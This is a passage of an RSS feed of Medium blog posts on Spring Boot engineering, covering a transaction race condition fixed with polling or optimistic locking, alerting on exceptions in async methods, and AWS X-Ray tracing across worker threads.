href="https://medium.com/media/6a73cfca96a255b75e7508b3053aa411/href">https://medium.com/media/6a73cfca96a255b75e7508b3053aa411/href</a></iframe><p>At first glance the above code looks good as per our requirement. The expected output in ideal case looks like below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*5TjgjlXiiNLBtHfjBwpjSQ.png" /><figcaption>event_detail_table</figcaption></figure><p>But when you look closely there are chances of race condition. For understanding purpose let’s name transactional block in initialEvent method as tx_1 and the transactional block of eventCallbackHandler as tx_2.</p><p>Code execution sequence:</p><ol><li>initiateEvent() method got called, line 13 (doApiCall()) method got executed successfully.</li><li>Line 15–17, took longer than expected resulting into, client hitting webhook before the event status got updated in the database.</li><li>eventCallbackHandler() got invoked i.e tx_2 got committed.</li><li>Finally line 19 of initiateEvent() got executed i.e tx_1 got committed.</li></ol><p>Classic race condition ! Let’s look at the record state after each steps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*vudNCss_sPJGgk8BCi93Ow.png" /><figcaption>event_detail_table ( After point 1)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*-mLYpTqvQwaQfxBX2hTQGA.png" /><figcaption>event_detail_table ( After point 3)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*yAqPvIYkxlVzemVjDThEfA.png" /><figcaption>event_detail_table ( After point 4)</figcaption></figure><h3>How Can We Solve This?</h3><p>There can be multiple approaches to solving this issue, but let’s focus on two straightforward methods: 1. forcing the order of execution and 2. applying locking. Let’s take a closer look at both approaches.</p><p><strong>Forcing order of execution </strong>— In this approach, we can force one transaction to wait until the other has committed, depending on the use case. For instance, before committing tx_1, we can wait for tx_2 to commit, and only then proceed with committing tx_1. This can be achieved by implementing database polling.</p><p>Let’s look at a pseudo-code example to illustrate this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/a003c589266d807d8b4a001dd8f6acd4/href">https://medium.com/media/a003c589266d807d8b4a001dd8f6acd4/href</a></iframe><p>Though it is simple and easy to implement it is not the most efficient solutions. Some of the drawbacks are high latency, increased load on DB, wasting CPU cycles etc. Let’s look at the another approach.</p><p><strong>Doing optimistic locking </strong>— You can read on optimistic locking <a href="https://en.wikipedia.org/wiki/Optimistic_concurrency_control">here</a> but in a gist optimistic locking is:</p><blockquote>Before committing, each transaction verifies that no other transaction has modified the data it has read, in case if data is modified roll back the transaction and retry.</blockquote><p>JPA provides an easy way to implement optimistic locking, simply add version column and define it in the entity class and annotate it with @Version tag that’s it, now JPA will do all the heavy lifting of applying optimistic locking for you. The update code will look something like this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/dedb5e9c7708372490c900792f891a1d/href">https://medium.com/media/dedb5e9c7708372490c900792f891a1d/href</a></iframe><h3>Conclusion</h3><p>Race conditions are difficult to identify, often manifesting as intermittent failures that are hard to reproduce. In this article, we explored a code structure prone to race conditions and demonstrated two practical solutions: enforcing transaction order with database polling and utilizing optimistic locking. Though these are not the only possible solutions, they are affective and practical. The key is to be aware of potential race conditions and proactively implement strategies that ensure consistency and reliability in your application.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a69b70e0309" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Safeguarding Your Asynchronous API: Exception Management Tips]]></title>
            <link>https://medium.com/@itssp1998/safeguarding-your-asynchronous-api-exception-management-tips-c21d24a7cc24?source=rss-8cdee3504aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/c21d24a7cc24</guid>
            <category><![CDATA[multi-threaded]]></category>
            <category><![CDATA[exceptions-handling]]></category>
            <category><![CDATA[spring-boot]]></category>
            <category><![CDATA[silent-exceptions]]></category>
            <category><![CDATA[asyn]]></category>
            <dc:creator><![CDATA[Samarth Patel]]></dc:creator>
            <pubDate>Sat, 24 Feb 2024 03:28:46 GMT</pubDate>
            <atom:updated>2024-02-24T03:28:46.213Z</atom:updated>
            <content:encoded><![CDATA[<p>Consider a scenario where we have exposed an API called <em>getHistoricOrders</em>, as the name suggests the job of this API is to get historical order-related data and the latency of this API will be quite high. So instead of making the client wait we ask the client to expose a webhook say <em>postHistoricOrders</em> where once the data is ready we call the webhook and push the data. In this scenario, a natural choice is to use multiple threads i.e. authenticate and do a basic schema validation of the request and return an appropriate response, after which we should have forked out a new thread that does the heavy lifting of gathering data and pushing it to the webhook.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*U7RL59zhxQUX9sDJErsIRA.png" /><figcaption>Sequence Diagram</figcaption></figure><p>Here, what if the forked thread throws an exception- an unhandled exception without a try-catch? Will it be recorded at the load balancer as 5xx, in turn triggering alerts? No right, as we have already returned a valid response to the client, it is just expecting a callback on the exposed webhook.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/890082daa0a28cbc284c4bf71eb0508a/href">https://medium.com/media/890082daa0a28cbc284c4bf71eb0508a/href</a></iframe><h4>Implement <em>AsyncUncaughtExceptionHandler</em></h4><blockquote>A strategy for handling uncaught exceptions thrown from asynchronous methods.</blockquote><blockquote>An asynchronous method usually returns a <a href="https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/util/concurrent/Future.html"><em>Future</em></a> instance that gives access to the underlying exception. When the method does not provide that return type, this handler can be used to manage such uncaught exceptions. (From: <a href="https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/aop/interceptor/AsyncUncaughtExceptionHandler.html">docs.spring.io</a> )</blockquote><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/22f362d56ded18d5e4fecce0750e38a1/href">https://medium.com/media/22f362d56ded18d5e4fecce0750e38a1/href</a></iframe><p>Here we are implementing the <em>AsyncUncaughtExceptionHandler</em> interface and overriding the <em>handleUncaughtException </em>method. We are simply triggering email alerts on exceptions that were previously getting silently consumed. In our scenario, we can also send an error response to the client webhook informing about the failure, which will ensure that the client is informed about the failure and can take appropriate action, such as resubmitting the request or notifying the user. This can help improve the overall user experience by providing timely feedback on the status of their request.</p><p>Thanks for reading! Feel free to share your thoughts in the comments.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c21d24a7cc24" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Integrating AWS X-Ray in multi-threaded spring boot application]]></title>
            <link>https://medium.com/@itssp1998/integrating-aws-x-ray-in-multi-threaded-spring-boot-application-510c41cd1d5d?source=rss-8cdee3504aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/510c41cd1d5d</guid>
            <category><![CDATA[spring-boot]]></category>
            <category><![CDATA[async]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[aws-xray]]></category>
            <category><![CDATA[multithreading]]></category>
            <dc:creator><![CDATA[Samarth Patel]]></dc:creator>
            <pubDate>Tue, 13 Feb 2024 16:55:56 GMT</pubDate>
            <atom:updated>2024-02-13T16:55:56.776Z</atom:updated>
            <content:encoded><![CDATA[<p>Consider a scenario where an API call is invoking an async process and responding to the client without waiting for the async process to complete. For example, there is an order API that places an order and once the order is placed it triggers a notification, here we would like to delegate notification work on a worker thread to reduce the API response time. In spring boot we usually mark such methods with @async annotation and spring boot internally spines off a new thread and the main thread continues its operations without getting blocked. In this scenario, if we had instrumented our application with AWS X-Ray, we would have been easily monitoring the latency of order API but would have missed out on monitoring the worker thread that handles notifications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-ZKWPh2sg30vqIIyrisppg.png" /></figure><p>In case you are not using async annotation and manually forking threads using Thread class you may check out <a href="https://docs.aws.amazon.com/xray/latest/devguide/scorekeep-workerthreads.html">AWS documentation </a>on it.</p><h4><strong>How does AWS X-Ray work?</strong></h4><p>AWS X-Ray operates by creating segments and subsegments for incoming requests to trace the particular request. You can read more about it here <a href="https://docs.aws.amazon.com/xray/latest/devguide/xray-concepts.html">X-Ray concepts</a>, but to summarize, a segment contains metadata related to the request, while a subsegment contains more granular info related to the downstream calls, DB calls, function calls etc within a particular API call. A subsegment is wrapped within a segment. In the case of single-threaded flow X-Ray SDK will manage the segment &amp; subsegment lifecycle. However, in our scenario, we will need to explicitly create a subsegment, attach it to the parent segment and then close the subsegment at the end.</p><h4>Solution: Copy segment context from the parent thread to the child thread.</h4><p><strong>Step1: Customize the behaviour of asynchronous process</strong></p><p>So let’s implement our executor bean as shown below.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/9fac8e847c4a796bfc5bad19c3bb4d60/href">https://medium.com/media/9fac8e847c4a796bfc5bad19c3bb4d60/href</a></iframe><p>Here we have created our Executor with specific configurations such as corePoolSize, and threadNamePrefix to identify custom threads. We can do much more than these but it’s not the scope of this article.</p><p><strong>Step2: Pass context to a new thread before executing using TaskDecorator</strong></p><blockquote>TaskDecorator: “A callback interface for a decorator to be applied to any <a href="https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/lang/Runnable.html">Runnable</a> about to be executed.” (From: <a href="https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/core/task/TaskDecorator.html">springboot documentation</a>)</blockquote><p>This is exactly what we want, a way to pass the context of the parent segment to the child segment thereby linking both segments together.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/49937a9f5fbec16fd188fc9cd0487bed/href">https://medium.com/media/49937a9f5fbec16fd188fc9cd0487bed/href</a></iframe><p>Here’s a breakdown of what this class does:</p><ol><li>Initialisation: It initialises an AWSXRayRecorder instance by obtaining the global recorder using AWSXRay.getGlobalRecorder().</li><li>Decorating Tasks: The decorate() method takes a Runnable task as input and returns a decorated Runnable. Within this method:</li></ol><ul><li>It checks if there’s a current trace entity using AWSXRay.getTraceEntity().</li><li>If there’s no current trace entity, it begins a new segment named “customSegment” using AWSXRay.beginSegment(&quot;customSegment&quot;). This indicates the start of a new unit of work.</li><li>If there’s already a segment, it begins a new subsegment named “customSubsegment” using AWSXRay.beginSubsegment(&quot;customSubsegment&quot;). Subsegments are used to represent smaller units of work within a segment.</li><li>It wraps the original Runnable task with a lambda function that executes the task within the context of the current entity (either segment or subsegment) using entityToRun.run(runnable, recorder).</li><li>Finally, it ensures that the segment or subsegment is properly closed after the task execution. If a new segment or subsegment is created, it ends that segment or subsegment using AWSXRay.endSegment() or AWSXRay.getGlobalRecorder().endSubsegment((Subsegment) entityToRun) respectively.</li></ul><p><strong>Finally decorate our custom Executor bean with the custom decorator</strong></p><pre>@Override<br>    public Executor getAsyncExecutor() {<br>        ThreadPoolTaskExecutor threadPoolExecutor = new ThreadPoolTaskExecutor();<br>        threadPoolExecutor.setCorePoolSize(15); <br>        threadPoolExecutor.setTaskDecorator(new ContextTaskDecorator());<br>        threadPoolExecutor.initialize();<br>        return threadPoolExecutor;<br>    }</pre><p>That’s it now with this “<em>threadPoolExecutor.setTaskDecorator(new ContextTaskDecorator())”</em> we will be able to view the complete trace of each API call including the threads it has spun off stitching everything together.</p><h4><strong>Wrap Up</strong></h4><p>In conclusion, implementing traceability in our application is crucial for monitoring API latency and identifying performance bottlenecks. By leveraging AWS X-Ray and Spring Boot’s asynchronous processing capabilities, we’ve managed to trace asynchronous processes as well, keeping threads in check :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=510c41cd1d5d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>